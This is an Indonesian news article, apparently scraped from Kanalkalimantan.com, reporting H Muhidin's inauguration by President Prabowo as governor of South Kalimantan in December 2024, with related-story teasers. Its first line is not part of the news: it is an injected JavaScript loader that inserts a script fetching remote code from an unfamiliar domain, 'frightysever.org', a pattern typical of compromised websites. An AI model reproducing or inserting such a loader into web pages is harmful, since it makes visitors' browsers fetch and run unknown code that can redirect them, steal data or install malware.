(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H Muhidin resmi dilantik sebagai Gubernur Kalsel deFenitif menggantikan H Sahbirin Noor yang mengundurkan diri.
Prosesi pelantikan Muhidin berlangsung di Istana Kepresidenan Jakarta, Senin (16/12/2024) siang sekitar pukul 13.30 WIB.
Presiden RI Prabowo Subianto secara langsung melantik Wakil Gubernur 2020-2024 ini menjadi Gubernur Kalsel sisa masa jabatan.
Baca juga: Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi
Pelantikan Muhidin sebagai Gubernur Kalsel berbarengan dengan pengucapan sumpah janji Pimpinan dan Dewan Pengawas (Dewas) Komisi Pemberantasan Korupsi (KPK).
Serta Ketua dan Sekretaris Dewan Pertanahan Nasional.
Prosesi pelantikan dihadiri Wakil Presiden RI Gibran Rakabumi Raka serta para pejabat Kabinet Merah Putih.
Pada pelantikan Gubernur Kalsel, Presiden Prabowo terlebih dahulu mengajukan pertnyaan kepada Muhidin.
Baca juga: Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang
“Sebelum mengucapkan sumpah jabatan, berkenaan pengesahan pengangkatan saudara sebagai gubernur Kalimantan Selatan sisa masa jabatan tahun 2021-2024, terlebih dahulu saya akan bertanya kepada saudara, bersediakah saudara mengucapkan sumpah menurut agama Islam?” tanya Prabowo.
“Bersedia,” jawab Muhidin.
Setelah itu pengucapan sumpah janji jabatan Gubernur dibacakan Prabowo Subianto dengan diiringi Muhidin.
“Demi Allah saya bersumpah, akan memenuhi kewajiban saya sebagai gubernur dengan sebaik-baiknya dan seadil-adilnya. Memegang teguh UUD1945 dan menjalani UU dan peraturannya dengan selurus-lurusnya. Serta berbakti kepada masyarakat, nusa dan bangsa,” bunyi sumpah jabatan Gubernur Kalsel yang diucapkan Muhidin.
Baca juga: BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025
Muhidin akan mejabat sebagai Gubernur Kalsel disisa masa jabatan periode 2021-2024.
Usai pelantikan ini, Muhidin akan menjabat selama kurang dari dua bulan kedepan.
Sebab diketahui, berdasarkan Perpres Nomor 80 Tahun 2024, pasal 5 ayat 1 menyatakan pelantikan Gubernur dan Wakil Gubernur hasil Pemilihan Kepala Daerah wan Wakil Kepala Daerah (Pilkada) 2024 dilaksanakan secara serentak pada tanggal 7 Februari 2025.
Dan pada 7 Februari 2025, Muhidin akan kembali dilantik sebagai Gubernur Kalsel untuk periode 2024-2029 bersama Wakil Gubernur Kalsel Hasnuryadi Sulaiman, setelah menang berdasarkan keputusan KPU Kalsel terkait hasil Pilgub Kalsel 2024. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
This website uses cookies.